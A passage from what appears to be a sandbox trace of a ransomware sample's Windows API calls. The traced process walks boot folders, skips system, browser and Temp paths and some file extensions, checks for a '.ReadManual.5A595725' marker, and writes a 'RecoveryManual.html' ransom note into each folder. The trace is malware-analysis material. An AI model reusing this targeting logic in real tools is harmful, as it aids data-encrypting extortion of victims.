ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0175.858] lstrcpyW (in: lpString1=0x69b8b4, lpString2="es-ES" | out: lpString1="es-ES") returned="es-ES" [0175.858] lstrcatW (in: lpString1="es-ES", lpString2="\\" | out: lpString1="es-ES\\") returned="es-ES\\" [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\Windows\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\WINNT") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.858] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\es-ES\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.858] lstrlenW (lpString="\\\\?\\c:\\Boot\\es-ES\\") returned 18 [0175.858] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\es-ES\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.859] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\es-ES\\" | out: lpString1="\\\\?\\c:\\Boot\\es-ES\\") returned="\\\\?\\c:\\Boot\\es-ES\\" [0175.859] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.860] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.860] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.860] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.860] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.860] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.860] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.860] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.860] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.860] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.860] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\es-ES\\" | out: lpString1="\\\\?\\c:\\Boot\\es-ES\\") returned="\\\\?\\c:\\Boot\\es-ES\\" [0175.860] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\es-ES\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\es-ES\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\es-ES\\RecoveryManual.html" [0175.860] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\es-ES\\RecoveryManual.html" (normalized: "c:\\boot\\es-es\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.860] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.861] CloseHandle (hObject=0x15c) returned 1 [0175.861] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.861] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.861] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0175.861] lstrcpyW (in: lpString1=0x69b8b4, lpString2="fi-FI" | out: lpString1="fi-FI") returned="fi-FI" [0175.861] lstrcatW (in: lpString1="fi-FI", lpString2="\\" | out: lpString1="fi-FI\\") returned="fi-FI\\" [0175.861] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\Windows\\") returned 0x0 [0175.861] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\WINNT") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.862] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fi-FI\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.862] lstrlenW (lpString="\\\\?\\c:\\Boot\\fi-FI\\") returned 18 [0175.862] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\fi-FI\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.863] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\fi-FI\\" | out: lpString1="\\\\?\\c:\\Boot\\fi-FI\\") returned="\\\\?\\c:\\Boot\\fi-FI\\" [0175.863] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.863] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.863] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.863] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.863] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.863] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.863] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.863] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.863] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.863] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.863] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\fi-FI\\" | out: lpString1="\\\\?\\c:\\Boot\\fi-FI\\") returned="\\\\?\\c:\\Boot\\fi-FI\\" [0175.863] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\fi-FI\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\fi-FI\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\fi-FI\\RecoveryManual.html" [0175.863] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\fi-FI\\RecoveryManual.html" (normalized: "c:\\boot\\fi-fi\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.863] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.864] CloseHandle (hObject=0x15c) returned 1 [0175.864] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.864] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.864] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0175.864] lstrcpyW (in: lpString1=0x69b8b4, lpString2="Fonts" | out: lpString1="Fonts") returned="Fonts" [0175.864] lstrcatW (in: lpString1="Fonts", lpString2="\\" | out: lpString1="Fonts\\") returned="Fonts\\" [0175.864] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\Windows\\") returned 0x0 [0175.864] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\WINNT") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.865] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\Fonts\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.865] lstrlenW (lpString="\\\\?\\c:\\Boot\\Fonts\\") returned 18 [0175.865] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\Fonts\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.866] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\Fonts\\" | out: lpString1="\\\\?\\c:\\Boot\\Fonts\\") returned="\\\\?\\c:\\Boot\\Fonts\\" [0175.866] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.866] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0175.866] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="chs_boot.ttf" | out: lpString1="chs_boot.ttf") returned="chs_boot.ttf" [0175.866] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="RecoveryManual.html") returned -1 [0175.866] StrStrIW (lpFirst="chs_boot.ttf", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.866] StrCmpIW (psz1="ttf", psz2="exe") returned 1 [0175.866] StrCmpIW (psz1="ttf", psz2="dll") returned 1 [0175.866] StrCmpIW (psz1="ttf", psz2="sys") returned 1 [0175.866] StrCmpIW (psz1="ttf", psz2="msi") returned 1 [0175.866] StrCmpIW (psz1="ttf", psz2="mui") returned 1 [0175.866] StrCmpIW (psz1="ttf", psz2="inf") returned 1 [0175.866] StrCmpIW (psz1="ttf", psz2="cat") returned 1 [0175.867] StrCmpIW (psz1="ttf", psz2="bat") returned 1 [0175.867] StrCmpIW (psz1="ttf", psz2="cmd") returned 1 [0175.867] StrCmpIW (psz1="ttf", psz2="ps1") returned 1 [0175.867] StrCmpIW (psz1="ttf", psz2="vbs") returned -1 [0175.867] StrCmpIW (psz1="ttf", psz2="ttf") returned 0 [0175.867] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\Fonts\\" | out: lpString1="\\\\?\\c:\\Boot\\Fonts\\") returned="\\\\?\\c:\\Boot\\Fonts\\" [0175.867] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\Fonts\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\Fonts\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\Fonts\\RecoveryManual.html" [0175.867] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\Fonts\\RecoveryManual.html" (normalized: "c:\\boot\\fonts\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.868] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.869] CloseHandle (hObject=0x15c) returned 1 [0175.869] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0175.869] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="cht_boot.ttf" | out: lpString1="cht_boot.ttf") returned="cht_boot.ttf" [0175.869] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="RecoveryManual.html") returned -1 [0175.869] StrStrIW (lpFirst="cht_boot.ttf", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.869] StrCmpIW (psz1="ttf", psz2="exe") returned 1 [0175.869] StrCmpIW (psz1="ttf", psz2="dll") returned 1 [0175.869] StrCmpIW (psz1="ttf", psz2="sys") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="msi") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="mui") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="inf") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="cat") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="bat") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="cmd") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="ps1") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="vbs") returned -1 [0175.870] StrCmpIW (psz1="ttf", psz2="ttf") returned 0 [0175.870] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0175.870] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="jpn_boot.ttf" | out: lpString1="jpn_boot.ttf") returned="jpn_boot.ttf" [0175.870] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="RecoveryManual.html") returned -1 [0175.870] StrStrIW (lpFirst="jpn_boot.ttf", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.870] StrCmpIW (psz1="ttf", psz2="exe") returned 1 [0175.870] StrCmpIW 